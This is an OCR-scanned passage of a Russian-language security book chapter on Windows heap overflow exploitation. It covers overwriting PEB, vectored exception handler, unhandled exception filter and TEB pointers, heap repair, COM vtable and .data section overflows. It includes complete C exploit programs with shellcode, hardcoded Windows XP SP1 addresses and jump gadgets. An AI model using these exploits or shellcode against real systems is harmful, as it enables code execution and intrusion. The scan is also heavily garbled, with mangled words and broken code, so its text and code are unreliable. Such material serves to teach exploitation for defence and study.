Они не понимают, что переполнения кучи так же опасны, как и их сте«! ковые аналоги, и преспокойно используют функции вроде strcpy() и strcat(y с буферами в куче. Как упоминалось в предыдущем разделе, лучший способ запуска произвольного кода при переполнении кучи основан на манипуляциях обработчиками исключений. Замена указателя на обработчики исключения при переполнении кучи принадлежит к числу широко распространенных методой эксплуатации уязвихмостей, как и использование фильтров необработанных исключений. Но сейчас мы не будем рассматривать эти методы подробно (они рассматриваются в конце этого раздела), а познакомимся с двумя новыми приемами, Перезапись указателя на RtlEnterCriticalSection в РЕВ Вспомним ряд важных обстоятельств, связанных с блоком РЕВ. Блок РЕВ содержит пару указателей на функции, а конкретно — на функции RtlEnterCriti- calSection() и RtLLeaveCriticalSection() (они используются функциями RtlAcquire- PebLock() и RtLReleasePebLock(), экспортируемыми библиотекой NTDLL.DLL). Эти две функции вызываются в процессе вызова функции ExitProcess(). Таким образом, с помощью блока РЕВ можно выполнить произвольный код при завершении процесса. Обработчики исключений часто вызывают ExitProcess(); если обработчик был назначен, используйте его. Так как путем переполнения кучи можно перезаписать произвольное двойное слово, мы можем модифицирован.
Эксплуатация уязвимостей при переполнении кучи 1 59 n/iiiii из указателей в блоке РЕВ. Этот вариант привлекателен прежде всего тем, ¦ни местонахождение блока РЕВ остается фиксированным во всех версиях Windows NT независимо от версии Service Pack или установленных заплаток; i иг/кжательно, местонахождение указателей также остается фиксированным. ПРИМЕЧАНИЕ И Windows 2003 Server эти указатели не используются (см. комментарий в конце раздела). Игроятно, лучше задействовать указатель на RtlEnterCriticalSection(), который in и да находится по адресу 0x7FFDF020. Тем не менее, при переполнении мы будем использовать адрес 0x7FFDF01C, так как адрес указателя вычисляется с по- мшцыо выражения ЕАХ+4: //I62571 89 48 04 mov dword ptr [еах+4],ecx Ничего особенно хитрого здесь не происходит; мы переполняем буфер, осуще- ( пишем запись произвольных данных, ждем нарушения доступа и затем вызы- иж'м функцию ExitProcess(). Впрочем, некоторые тонкости все же имеются. Первое, •ми должен сделать ваш код, — восстановить указатель. Он может потребовать- i м и других местах, а это приведет к завершению процесса. Возможно, также придется восстановить структуру кучи (в зависимости от того, что делает ваша программа). Д.мсе приводится простой пример практического применения механизма нарушения доступа для выполнения постороннего-кода. В программе используется представленный ранее код: //include <stdio h> //include <windows h> unsigned int GetAddress(char *lib. char *func). void fixupaddresses(char *tmp, unsigned int x), ml mainO I unsigned char buffer[300]="", unsigned char heap[8]="", unsigned char pebf[8]="\ unsigned char shellcode[200]="", unsigned int address_of_system = 0. unsigned int address_of_RtlEnterCriticalSection = 0. unsigned char tmp[8]="". unsigned int cnt = 0. printf("Getting addresses \n"), address_of_system = GetAddressC'msvcrt dll","system"), address_of_RtlEnterCnticalSection = GetAd-dressC'ntdll dll". "RtlEnterCnticalSection"), if(address_of_system == 0 || ad-dress_of_RtlEnterCriticalSection == 0) return pnntf("Failed to get addresses\n"), prmtf( "Address of msvert system\t\t\t= % 8X\n" ,address_of_system). pnntf("Address of ntdll RtlEnterCnticalSection\t = % 8X\n" ,address_of_RtlEnterCnticalSection), strcpy(buffer."heap] ").
160 Глава 8. Переполнение в Windows // Внедряемый код - восстанавливает РЕВ и вызывает systemC'calc"), strcat(buffer("\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB9"); fi xupaddresses(tmp,address_of_RtlEnterCn ti cal Secti on): strcat(buffer.tmp); strcat(buffer."\x89\x48\x20\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB 9"). fi xupaddresses(tmp,address_of_system); strcat(buffer.tmp); strcat(buffer,"\xFF\xDl"); // Заполнители while(cnt < 58) { strcat(buffer\MDDDD"); cnt ++: } // Указатель на RtlEnterCriticalSection - 4 в РЕВ strcat(buffer."\xlC\xF0\xFD\x7fn); // Указатель на кучу (и соответственно, внедряемый код) Strcat(buffer,"\x88\x06\x35"); strcat(buffer,"\""): printf("\nExecuting heapl exe calc should openAn"); system(buffer). return 0, } unsigned int GetAddress(char *lib. char *func) { HMODULE 1=NULL; unsigned int x=0; 1 = LoadLibrary(lib). if(!l) return 0; x = GetProcAddressd .func). if(!x) return 0. return x. void fixupaddresses(char *tmp, unsigned int x) { unsigned int a = 0, a = x. a = a « 24. a = a » 24. tmp[0] = a. a = x. a = a » 8. a = a « 24. a = a » 24. tmp[l] = a. a = x. a = a » 16. a = a « 24. a = a ^» 24.
Эксплуатация уязвимостей при переполнении кучи 1 61 tmp[2] = a, а = х, а = а » 24; tmp[3] = a; ) Кдк упоминалось ранее, в Windows 2003 Server эти указатели не используются. Iin/кч' того, в РЕВ Windows 2003 Server эти адреса обнуляются. Впрочем, возможность проведения аналогичных атак все же сохраняется. Вызов ExitProcess() ими UnhandledExceptionFilter() приводит к вызову многочисленных функций Ldr* ( nuuix, как LdrUnloadDU()). Некоторые функции Ldr* вызывают функцию по ука- |ц kviio, если он отличен от нуля. Обычно значения этих указателей на функции 4идлк)тся при вмешательстве механизма SHIM. Для нормальных процессов эти уыматсли остаются нулевыми. Задавая их значения посредством переполнения, можно добиться аналогичного эффекта. Перезапись указателя на первый векторный обработчик по адресу 77FC3210 Минорная обработка исключений впервые появилась в Windows XP. В отличие or традиционной стековой обработки, при которой структуры регистрации и» к/мочений хранятся в стеке, при векторной обработке сведения об обработчиках хранятся в куче. Структура, в которой хранится информация, очень похожа ми структуру EXCEPTION_REGISTRATION. •¦truct _VECT0RED_EXCEPTI0N_N0DE ( dword m_pNextNode, dword m_pPreviousNode. PVOID m_pfnVectoredHandler, I Миле m_pNextNode указывает на следующую структуру _VECT0RED_EXCEPTI0N_ NODE, моле m_pPreviousNode — на предыдущую структуру _VECT0RED_EXCEPTI0N_ NODE, a m_pfnVectoredHandler — на адрес кода реализации обработчика. Указа- M'/ii, на первый векторный узел обработчика, применяемого при возникновении in к /мочения, находится по адресу 0x77FC3210 (хотя этот адрес может изменить- « и с модификацией системы обновлениями Service Pack). За счет переполнения hviii этот указатель заменяется указателем на нашу собственную псевдострук- i vpv _VECTORED_EXCEPTION. К преимуществам такого подхода можно отнести то, •но искторные обработчики исключений вызываются раньше стековых. < мгдующий код (из Windows XP Service Pack) отвечает за передачу управления обработчика при возникновении исключения: //1 /Г49Е //1 /МА4 //1 /МА6 //1 /I4A9 //1 /МАА //1 /MAD //1 /МВО //! /МВ2 ч\ /мм !!\ /1 /|Н() mov jmp lea push call cmp je mov rmp inr esi,dword ptr ds [77FC3210h] 77F7F4B4 eax,[ebp-8] eax dword ptr [esi+8] eax.OFFh 77F7F4CC esi.dword ptr [esi] csi,edi //Г/Г4А6
162 Глава 8. Переполнение в Windows Код помещает в регистр ESI указатель на структуру _VECTORED_EXCEPTION_NODEj первого векторного обработчика. Затем вызывается функция, на которую ука-i зывает адрес ESI+8. В случае переполнения кучи можно перехватить управление! над процессом, задав указателю по адресу 0x77FC3210 свое значение. Как это сделать? Сначала нужно найти указатель на наш блок памяти, выделен*] ный в куче. Если переменная, содержащая этот указатель, является локальной] она должна находиться где-то в текущем кадре стека. Даже глобальная пере* менная, скорее всего, окажется где-то в стеке, потому что будет занесена в стею как аргумент функции — и еще вероятнее, что это будет функция HeapFreeQ (указатель на блок заносится в стек как третий аргумент). Обнаружив erd (допустим, по адресу 0x0012FF50), можно представить его как обработчик m_pfnVectoredHandler, в результате чего 0х0012АА48 станет адресом псевдострукн туры _VECTORED_EXCEPTION_NODE. И тогда при замене служебных данных кучщ мы передадим два указателя: Qx0012FF48 и 0x77FC320C. Таким образом, при вьн полнении следующего фрагмента значение 0x77FC320C (EAX) сохраняется по ад«1 ресу 0X0012FF48 (ЕСХ), а значение 010012FF48 (ЕСХ) - по адресу 0x77FC321Q| (ЕАХ+4): 77F6256F 89 01 mov dword ptr [ecx].eax 77F62571 89 48 04 mov dword ptr [eax+4].ecx В результате указатель на структуру _VECTORED_EXCEPTION_NODE по адресу 0x77FC3210 оказывается под нашим контролем. При возникновении исключен ния содержимое 0x0012FF48 помещается в регистр ESI (команда но адресу 0x77F7F49E), после чего вызывается функция, на которую указывает значения ESI+8, Вместо функции подставляется адрес буфера в куче, и при вызове будет] выполнен наш код. Пример кода: #include <stdio h> #include <windows.h> unsigned int GetAddress(char *lib. char *func), void fixupaddresses(char *tmp. unsigned int x). int mainO { unsigned char buffer[300]="". unsigned char heap[8>="". unsigned char pebf[8]="", unsigned char shellcode[200]="", unsigned int address_of_system = 0. unsigned char tmp[8]="". unsigned int cnt = 0. prmtfC'Getting address of system \n"). address_of_system - GetAddressCmsvcrt dll","system"), if(aadress_of_system == 0) return prmtf("Failed to get address \n"), pnntf("Address of msvcrt system\t\t\t= I 8X\n" .address of _systom). strcpy(buffer."heapl ").
Эксплуатация уязвимостей при переполнении кучи 163 while(cnt < 5) { strcat(buffer.n\x90\x90\x90\x90M)( cnt ++. } // Внедряемый код для вызова systemCcalc"). ',lrcat(buffer."\x90\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"). fi xupaddresses(tmp,address_of_system), strcat(buffer.tmp), strcat(buffer,,,\xFF\xDl")(. cnt = 0. while(cnt < 58) { strcat(buffer\"DDDD"), cnt ++, } // Указатель на 0x77FC3210 - 4 0x77FC3210 содержит // указатель на первую структуру _VECTORED_EXCEPTION_NODE strcat(buffer."\xOC\x32\xFC\x77"). // Указатель на псевдоструктуру _VECTORED_EXCEPTION_NODE // по адресу 0x0012FF48 По этому адресу + 8 находится // указатель на наш выделенный буфер Туда будет передано // управление при векторной обработке исключений // Измените адрес в соответствии с его фактическим // значением для вашей системы Strcat(buffer.,,\x48\xff\xl2\x0(r), printf("XnExocuting heapl exe calc should open \n"), system(buffer), return 0. I unsigned int GetAddress(char *lib. char *func) I HMODULE 1=NULL. unsigned int x=0. 1 = LoadLibrary(lib), ifD) return 0. x = GetProcAddressd .tunc). if('x) return 0, return x, /••id I ixupaddresses(char *tmp. unsigned int x) ( unsigned int a = 0 d = X. «i - a <- ;M
164 Глава 8. Переполнение в Windows tmp[0] = a; а = х, а = а » 8; а = а « 24; а = а » 24; tmp[l] = a; а = х; а = а » 16. а = а « 24; а = а » 24, tmp[2] = a. а = х. а = а » 24. tmp[3] = a. Перезапись указателя на фильтр необработанных исключений Использовать фильтр необработанных исключений впервые предложил Алвар] Флейк (Halvar Flake) на семинаре Blackhat Security Briefings в Амстердаме^ 2001 г. Если ни один обработчик не может обработать исключение или назначенные обработчики отсутствуют, последним рубежом его обработки становится фильтр необработанных исключений. Приложение назначает этот фильтр] функцией SetUnhandledExceptionFilter(). Соответствующий фрагмент этой функ ции выглядит так: 77Е7Е5А1 mov ecx, dword ptr [esp+4] 77Е7Е5А5 mov eax. [77ED73B4] 77E7E5AA mov dword ptr ds [77ED73B4h],ecx 77E7E5B0 ret 4 Как видите, указатель на фильтр необработанных исключений хранится по адч ресу 0x77 — по крайней мере, в Windows XP Service Pack 1. В других системах этот адрес может быть другим. Чтобы определить его для своей системы, дизас-' семблируйте функцию SetL)nhandledExceptionFilter(). При возникновении необработанного исключения система выполняет следующий блок кода: 77Е93114 mov eax,[77ED73B4] 77Е93119 cmp eax.esi 77E9311B je 77E93132 77E9311D push edi 77E9311E call eax Адрес фильтра необработанных исключений помещается в ЕАХ и используется в команде call. Команда push edi перед вызовом сохраняет в стеке указатель на структуру EXCEPTI0N_P0INTER. Запомните это обстоятельство, оно еще нам понадобится. Если при переполнении кучи исключение осталось необработанным, мы можем обратиться к фильтру необработанных исключений Для этого счсдует либо ус- кшовпть фильтр непосредственно на адрес буфера, сс/ш он ;н>с точно пред
Эксплуатация уязвимостей при переполнении кучи 165 i миусм, или же на адрес программного блока или отдельной команды, осуще- i т/тютей переход к буферу. Помните, что перед вызовом фильтра в стек был iiniim'ii указатель на структуру EXCEPTION_POINTER из регистра EDI? Со смещением 0x78 байт за этим указателем находится адрес, принадлежащий нашему Пуфгру (на самом деле это указатель на конец буфера непосредственно перед i П'жсбпыми данными управления кучей). Хотя адрес и не является частью самим структуры EXCEPTI0N_P0INTER, его можно использовать для передачи управления нашему коду. Все, что для этого нужно, — найти в процессе адрес, по ко- Iприму выполняется команда (.ill dword ptr[ech+0x78] I in первый взгляд задача кажется нереальной, но в действительности эта команда встречается в нескольких местах, хотя конкретные данные зависят от нно, какие библиотеки DLL загружены в адресное пространство, а также от hepeiiii ОС и обновлений. Вот несколько примеров для Windows XP Service hiek 1: («ill dword ptr[edi+0x74] found at 0x71c3de66 [netapi32 dll] (.ill dword ptr[edi+0x74] found at 0x77c3bbad [netapn32 dll] («ill dword ptr[ech+0x74] found at 0x77c41el5 [netapi32 dll] (.ill dword ptr[edi+0x74] found at 0x77d92a34 [user32 dll] (.ill dword ptr[edi+0x74] found at 0x7805136d [rpcrt4 dll] ПРИМЕЧАНИЕ H Windows 2004 указатель на наш буфер хранится по адресам ESI+0x4C и ЕВР+0х74. I г'in назначить фильтру один из перечисленных адресов, то при возникновении необработанного исключения управление будет передано в буфер. Кстати мнюря, фильтр необработанных исключений вызывается только в том случае, п ми процесс не отлаживается. Посмотрим, как исправить проблему. ВЫЗОВ ФИЛЬТРА НЕОБРАБОТАННЫХ ИСКЛЮЧЕНИЙ ПРИ ОТЛАДКЕ Исключения, возникающие входе выполнения программы, перехватываются сис- |<>мой. Управление немедленно передается функции KiUserExceptionDispatcher(), <) i нетственной за обработку исключений, из библиотеки ntdll.dll. В Windows XP функция KiUserExceptionDispatcher() сначала вызывает все векторные обработчики, затем стековые обработчики, и наконец, фильтр необработанных исключений В Windows 2000 происходит практически то же, если не считать, что пгкюрные обработчики не вызываются Однако при разработке эксплойта пе- I наполнения кучи возникает одна проблема: если уязвимый процесс отлажива- 14си, фильтр необработанных исключений вообще никогда не вызывается — моп высшей степени неприятно, когда весь код эксплойта основан наисполь- юиании этого фильтра. Тем не менее, у проблемы существует решение. Функция KiUserExceptionDispatcher() вызывает функцию UnhandledExceptionFUterQ, нпорая проверяет, отлаживается ли процесс и следует ли вызвать филы р но-
166 Глава 8. Переполнение в Windows обработанных исключений. Функция UnhandledExceptionFilterQ вызывает функцию ядра NT/ZwQuerylnformationProcess, которая присваивает переменной в стеке значение OxFFFFFFFF для отлаживаемого процесса. Как только NT/ZwQuerylnforma- tionProcess возвращает управление, переменная сравнивается с обнуленным регистром. Если значения совпадают, вызывается фильтр необработанных исключений, а если различаются — фильтр не вызывается. Следовательно, если вы хотите вызвать фильтр необработанных исключений в ходе отладки, установите точку прерывания в позиции сравнения. При достижении точки прерывания замените значение переменной с OxFFFFFFFF на 0x00000000 и возобновите процесс. В этом случае фильтр необработанных прерываний будет успешно вызван. В следующем листинге приведен соответствующий фрагмент кода Unhandled- ExceptionFilter() для Windows XP Service Pack 1. Установите точку прерывания по адресу 0х77Е9310В и подождите, пока произойдет исключение и будет вызвана функция. После достижения точки прерывания запишите в [EBP~20h] значение 0x00000000. 77E930F5 lea 77E930F8 push 77E930F9 push 77E930FB call 77E7E6B9 or 77E7E6BC ret 77E93100 push 77E93101 call 77F76035 mov 77F7603A mov 77F7603F call 7FFE0300 mov 7FFE0302 sysenter 7FFE0304 ret 77F76041 ret eax, [ebp-20h] eax 7 77E7E6B9 eax,OFFh dword ptr ds : [77E610ACh] eax, 9Ah edx, 7FFE0300h edx 77E93107 77E93109 77E9310B 77E9310E 77E93114 77E93119 77E9311B 77E9311D 77E9311E test jl cmp jne mov cmp je push call edx,esp 14h eax,eax 77E93114 dword ptr [ebp-20h], esi 77E937D9 eax, [77ED73B4] eax, esi 77E93132 edi eax Если переменная [EBP + 20h] равна 0x00000000, текущему значению ESI, будет вызван фильтр недоработанных прерываний. Переключение в режим ядра 77E937D9 mov 77E937DF mov 77Е937Е2 test 77Е937Е6 je eax, fs • [00000018] <- eax, dword ptr [eax+30h] byte ptr [eax-f-69h],l 77E93510 Если значение ESI не равно [EBP - 20h], перейти по адресу 0x77E937D9 UnhandledExceptionFilter on XP SP1 Чтобы продемонстриротзать применение фильтра необработанных исключении и :жсплопте переполнения кучи, гначала необхолпмо убрап» nt уи.шимоп про
Эксплуатация уязвимостей при переполнении кучи 167 i раммы обработчик исключений. Если исключение будет обработано, до фильтра дело вообще не дойдет: //include <stdio h> #include <windows h> int foo(char *buf). mt maindnt argc. char *argv[]) { HMODULE I. I = LoadLibraryC'msvcrt dll"), I = LoadLibrary(,,netapi32 dll"). printf("\n\nHeapoverflow program \n"). if(argc != 2) return printfC'ARGS!"); foo(argv[l]); return 0, } int foo(char *buf) { HLOCAL hi = 0. h2 = 0, HANDLE hp, hp = HeapCreate@.0x1000.0x10000). if(!hp) return pnntfC'Failed to create heap \n"). hi - HeapAllocChp. HEAP JER0_MEM0RY. 260). pnntfCHEAP % 8X % 8X\n".hl,&hl), // Переполнение кучи: strcpy(hl.buf). // Управление перехватывается при втором вызове НеарАПосО h2 = HeapAlloc(hp.MEAP_ZER0_MEM0RY.260); printf("hello"), return 0. } Далее приведен код эксплойга. Структура управления кучей заменяется парой указателей: 0x77ED73B4 (фильтр необработанных исключений) и 0х77СЗВВА() (адрес библиотеки netapi.dll, содержащий команду call dword ptr [edi+0x78]). При < медующем вызове HeapAlloc() мы устанавливаем фильтр и ждем исключения. 11оскольку исключение остается необработанным, система передает управление фпчыру, а следовательно — нашему коду. Обратите внимание на команду корт кого перехода, помещенную в буфер — значение EDI+0x78 ссылается на :hoi ач|нч\ но мы должны обойти служебные данные управления кучей. //include <stdio.h> //include <windows h> uiiMcjned mt GetAddress(char *lib. char *func). void hxupaddresses(char *tmp. unsigned int x). ml niamO
168 Глава 8. Переполнение в Windows { unsigned char buffer[1000]="\ unsigned char heap[8]=""; unsigned char pebf[8]=""; unsigned char shellcode[200]=""; unsigned int address_of_system = 0; unsigned char tmp[8]=""; unsigned int a = 0; int cnt = 0; printf("Getting address of system \n"); address_of_system = GetAddress("msvcrt.dll"."system"), if(address_of_system == 0) return prmtfC'Failed to get address.\n"). printf( "Address of msvcrt system\t\t\t= &.8X\n",address_of_system) strcpy(buffer."heapl "); while(cnt < 66) { strcat(buffer,"DDDD"). cnt++. } // Сюда указывает значение EDI+0x74, поэтому необходимо // выполнить короткий переход вперед strcat(buffer."\xEB\xl4"); // Заполнители Strcat(buffer."\x44\x44\x44\x44\x44\x44"). // Этот адрес @x77C3BBAD . netapi32 dll XP SPl) содержит команду // "call dword ptr[edi+0x74]" Мы заменяем им фильтр // необработанных исключений. strcat(buffer."\xad\xbb\xc3\x77"); // Указатель на фильтр необработанных исключений strcat(buffer."\xB4\x73\xED\x77"). // 77ED73B4 cnt = 0; while(cnt < 21) { strcat(buffer."\x90"), cnt ++. } // Внедряемый код для вызова systemC'calc"); strcat(buffer.,,\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB( fi xupaddresses(tmp,address_of_system). strcat(buffer.tmp). strcat(buffer."\xFF\xDl\x90\x90n). printf("\nExecuting heapl exe calc should open.\n"). system(buffer). return 0.
Эксплуатация уязвимостей при переполнении кучи 1 69 unsigned int GetAddress(char *1ib, char *func) 1 HMODULE 1=NULL; unsigned int x=0. 1 = LoadLibrary(lib); if(!l) return 0, x = GetProcAddressd ,func). if(!x) return 0; return x, I void "hxupaddresses(char *tmp, unsigned int x) ( unsigned int a = 0. a = x, a = a « 24: a = a » 24. tmp[0] = a. a = x, a = a » 8, a = a « 24, a = a » 24. tmp[l] = a. a = x, a = a » 16. a = a « 24; a = a » 24. tmp[2] = a. a = x. a = a » 24; tmp[3] = a. I Перезапись указателя на обработчик исключения в блоке ТЕВ К.пс и в случае с фильтром необработанных исключений, Алвар Флейк первым и|м'д/южил метод замены указателя на структуру регистрации исключений, sранящегося в блоке окружения потока (ТЕВ). У каждого программного пото- i\,i имеется блок ТЕВ, для обращения к которому обычно используется сегментным регистр FS. Адрес FS:[0] содержит указатель на первую структуру регистрации (чекового исключения. Местонахождение ТЕВ изменяется в зависимости «и mm, сколько потоков работает в процессе, когда они были созданы и т. д. V мерного потока блок ТЕВ обычно находится по адресу 0x7FFDE000, у второ- ! м (о смещением па 0x1000 бант по адресу 0x7FFDD00, и т. д. Блоки ТЕВ созда- iiiii я и направлении адреса 0x00000000. Следующая программа выводит адрес MiMKj ТЕВ первого потока: // пи hide <stdio h> ml иы m()
170 Глава 8. Переполнение в Windows { _asm{ mov eax, dword ptr fs:[0xl8] push eax } printfCTEB: % 8X\n"); asm{ add esp,4 } return 0, } При завершении потока занимаемое им пространство освобождается, и свободный блок выделяется следующему потоку. Если предположить, что в первом потоке (с адресом блока ТЕВ 0x7FFDE000) возникла проблема переполнения кучи, то указатель на первую структуру регистрации исключения будет находиться по адресу 0x7FFDE000. Переполнение кучи позволяет заменить этот указатель указателем на нашу псевдоструктуру; разумеется, после этого произойдет нарушение доступа и исключение, а информация о выполняемом обработчике будет находиться иод нашим контролем. На практике — и особенно в случае многопоточных серверов — эксплуатация этой уязвимости несколько затруднено из-за отсутствия информации о точном местонахождении блока ТЕВ текущего потока. Впрочем, этот вариант идеально подходит для однопоточных программ (таких, как исполняемые файлы на базе CGI). Восстановление кучи Скорее всего, поврежденную в результате переполнения кучу придется восстановить. Если этого не сделать, то с вероятностью 99,9 % произойдет нарушение доступа — и еще вероятнее, если речь идет об умалчиваемой куче процесса. Конечно, можно попытаться проанализировать логику уязвимого приложения, точно определить размер буфера и размер следующего выделенного блока, и т. д., а лотом вернуть на место положенные значения. Однако выполнение всех этих действий для каждой конкретной уязвимости требует слишком больших усилий. Лучше поискать обобщенный метод восстановления кучи. Самое надежное решение — возвращение кучи в первозданное состояние. Вспомните: в только что созданной куче (перед выделением блоков) в FreeList[0] (HEAP_ 8ASF+0xl78) находятся два указателя на первый свободный блок (НЕАР_ВА5Е+ 0x688), а два указателя в первом свободном блоке указывают на FreeList[0]. Мы можем изменить указатели FreeList[0] так, чтобы они указывали па конец нашего блока; в результате все будет вьп лядсть так, словно первый свободный блок находится за нашим буфером. Кроме того, мы переводим два указателя в конце буфера на FreeList[0] и делаем еще пару вещей. Следующий ассемблерный код восстанавливает кучу после уничтожения блока в умалчиваемой куче процесса. Выполните его как можно раньше, чтобы предотвратить нарушение досчупа Также рекомендуется возвращать ч исходное состояние ничему обработки не ключеппй, чтобы нарушение досчупа не приводило кмлцик/шм.шшп
Эксплуатация уязвимостей при переполнении кучи 171 // Управление только что было передано в буфер // в результате вызова call dword ptr[ech+74]. Следовательно, // ело значение является указателем на структуру управления // кучей Поместить его в edx, так как нам потребуется // записать значения некоторых полей mov edx, dword ptr[edi+74] // В системе Windows 2000 следует использовать команду // mov edx. dword ptr[esi+0x4C] // Занести в стек 0x18 push 0x18 // и извлечь в ЕВХ pop ebx // Получить указатель на блок ТЕВ // по адресу fs [18] mov eax, dword ptr fs:[ebx] // Получить указатель на блок РЕВ из ТЕВ mov eax, dword ptr[eax-r0x30] // Получить указатель на умалчиваемую кучу процесса из РЕВ. mov eax, dword ptr[eax+0x!8] // В eax хранится указатель на кучу - // адрес в форме ОхООппОООО Скорректировать указатель. // чтобы он указывал на двойное слово // TotalFreeSize в структуре кучи add al.0x28 // Поместить СЛОВО из TotalFreeSize в si mov si, word ptr[eax] // И записать в структуру управления кучей mov word ptr[edx],si /7 Скорректировать edx на 2 inc edx inc edx // Задать размер предыдущего блока равным 8 mov byte ptr[edx],0x08 inc edx // Обнулить следующие два байта mov si, word ptr[edx] xor word ptr[edx],si inc edx inc edx // Задать флаги 0x14 mov byte ptr[edx],0x14 inc edx // Обнулить следующие два байта mov si, word ptr[edx] xor word ptr[edx],si inc edx inc edx '• (корректировать регистр ea/ так. чтобы он указывай на heap__Dase^0xl78 i, 1) данный момент он содержит hoap_base+0x28 «Kid ax,0x150 ' !Ч\'и("ф оах указывает на FreeList[0] ;/ iоперь записать edx в F>eeList[0] Flink mov dword ptr[eax],edx // и ишисап) сбх в FreeL i st[ 0] Blink mov dword ptr[Dx*-4] ,edx
172 Глава 8. Переполнение в Windows // Записать в конец блока // указатели на FreeList[0]. mov dword ptr[edx],eax mov dword ptr[edx+4],eax После восстановления кучи все будет готово к выполнению внедряемого кода. В действительности куча восстанавливается не совсем в исходном состоянии, потому что другие потоки уже могут сохранить данные где-то в куче. Например, данные процесса winsock сохраняются в куче после вызова WSAStartup. Если бы эти данные уничтожались в результате полного возвращения кучи в умалчиваемое состояние, то любой вызов функций winsock приводил бы к нарушению доступа. Другие аспекты переполнения кучи При переполнении кучи вызовы НеарАИос() и HeapFree() используются не всегда. Среди других аспектов переполнения кучи можно также выделить применение закрытых данных классов C++ и СОМ-объектов. Технология COM (Component Object Model — компонентная модель объектов) позволяет программисту создавать объекты, работа которых поддерживается другой программой. Такие объекты содержат функции, или методы, вызываемые для решения определенных задач. Естественно, за информацией о СОМ в первую очередь следует обращаться на сайт Microsoft (www.microsoft.com/com/). Но что такого особенного в СОМ, и какое отношение эта технология имеет к переполнению кучи? СОМ-объекты и куча Когда система создает новый экземпляр СОМ-объекта, память для него выделяется в куче. В выделенном блоке создается таблица указателей на функции, называемая v-таблицей. Хранящиеся в ней указатели ссылаются на код методов, поддерживаемых объектом. Выше v-таблицы (в контексте адресации виртуальной памяти) выделяется память для данных объектов. Новые СОМ-объ- екты размещаются над ранее созданными объектами. Что же в этом случае произойдет при переполнении буфера в секции данных одного объекта? Данные попадут в v-таблицу другого объекта. При вызове метода второго объекта возникнут проблемы. Заменив все элементы v-таблицы указателями на свой буфер, нападающий может перехватить управление. Иначе говоря, при вызове метода управление передается коду нападающего. Такой способ атаки очень часто используется с объектами ActiveX в Internet Explorer. Переполнение на базе СОМ отличается простотой реализации. Переполнение с заменой управляющих данных При переполнении кучи эксплуатация уязвимостей не всегда сопряжена с запуском постороннего кода. Иногда в атаках такого рода заменяются значения переменных, хранящихся в куче и управляющих работой приложения. Пред ставьте, что веб-сервер хранит в куче структуру с информацией и разрешениях доступа к виртуальным k;ii;i'ii)i.im Заменяя nyieM переполиепич имимг к .>i<>11
Другие варианты переполнения 173 i фуктуре, можно разрешить запись в корневой каталог. После этого нападающим получает возможность загружать данные на веб-сервер и сеять хаос. Несколько слов в завершение Мы рассмотрели несколько вариантов эксплуатации уязвимостей, связанных i переполнением кучи. Как правило, лучше всего писать код эксплойта перепои пения кучи для каждой конкретной уязвимости. Каждое переполнение слегка ш /inчается от другого, и обстоятельства, упрощающие эксплуатацию уязвимо- UII и одном случае, могут вызвать трудности в другом. Надеемся, нам удалось показать опасности, связанные с неосторожным использованием кучи. Если не дум;пь о том, что вы делаете, возможны самые неприятные последствия — так ¦но будьте осторожны. Другие варианты переполнения И .ном разделе рассматриваются те варианты переполнения, которые нельзя от- Htvni ни к стеку, ни к куче. Переполнение секции .data Программа делится на части, называемые секциями. Программный код хранит- i и и секции .text; секция .data, среди прочего, содержит глобальные переменные. Для получения информации о секциях в файле образа используется ути- 'Шi;i dumpbin с ключом /HEADERS; дополнительную информацию о конкретной i гкции можно получить через ключ /SECTION: dumpbin /SECTION имя_секции Переполнение секции .data встречается гораздо реже, чем переполнение стека и'in кучи; и все же такое переполнение в Windows может использоваться при иыкпх, хотя и связано с серьезными трудностями. Для наглядности рассмотрим i 'И'дующий С-код: //include <stdio h> //include <windows h> unsigned char buffer[32]="". lAKPROC mprintf = 0. lAKPROC mstrcpy = 0, ml maindnt argc, char *argv[]) ( HMODULE 1=0. 1 = LoadLibraryCmsvcrt dll"). if('l) return 0, mprintf = GetProcAddressd , "printf"). i f('mprintf) return 0. mstrcpy = GetProcAddressd ."strcpy"), if('mstrcpy) rvl in ii ()
174 Глава 8. Переполнение в Windows (mstrcpy)(buffer,argv[l]); _asm{ add esp,8 } (mprintf)("Us".buffer). __asm{ add esp.8 } FreeLibraryd); return 0. } Если откомпилировать и запустить эту программу, она произведет динамическую загрузку библиотеки С времени выполнения (msvcrt.dll) и получит адреса функций strcpy() и printf(). Переменные, в которых хранятся эти адреса, объявлены глобально, поэтому они находятся в секции .data. Также обратите внимание на глобальное определение 32-байтового буфера. Указатели на функции используются для копирования данных в буфер и вывода содержимого буфера на консоль. Отметьте порядок объявления глобальных переменных: сначала объявляется буфер, а потом два указателя на функции. Именно в таком порядке данные будут размещаться в секции .data — сначала два указателя на функции, затем — буфер. В случае переполнения буфера указатели на функции будут заменены, а при последующем обращении по ним (то есть попытке вызова функции) нападающий сможет направить процесс по нужному пути. При запуске программы со слишком длинным аргументом происходит следую: щее: первый аргумент копируется в буфер с использованием указателя на функцию strcpy. Происходит переполнение буфера с заменой обоих указателей на функции. Далее управление передается коду, на месте которого должна была бы находиться функция printf, и нападающий перехватывает управление. Конечно, перед вами чрезвычайно упрощенная С-программа, написанная исключительно в демонстрационных целях. На практике все гораздо сложнее. В реальной программе замененный указатель на функцию может быть вызван гораздо позже — к тому времени из-за повторной записи в буфер пользовательский код может быть стерт. Вот почему ранее говорилось о трудностях — они связаны с выбором момента. В этой программе при вызове функции printf регистр ЕАХ указывает на начало буфера, поэтому мы можем просто заменить указатель па функцию адресом, по которому находится команда jmp еах или call еах. Более того, поскольку буфер передается в качестве параметра функции printf, мы можем получить ссылку на него по адресу ESP+8. А эк) означает, что указатель на функцию printf также можно было бы заменить адресом блока команд pop reg/pop reg/ret. После двух команд pop в регистре ESP окажется адрес нашего буфера, а команда ret передас] управление в начало буфера. И все же учтите, что на практике такие упрощенные ситуации встречаются редко. Вся прелесть переполнения секции .data состоит в том, что местонахождение буфера всегда остается фиксированным, поэтому мы можем заменить указатель на функцию фиксированным адресом. Переполнение блоков ТЕВ и РЕВ Для полноты картины стоит также рассказать о возможности переполнения в блоке окружения потока (ТЕВ), xoi>! достоверных евпдеимп.п и о его пракш ческом применении пока не встречалось В каждом бчоке Till пмеек-я буфер,
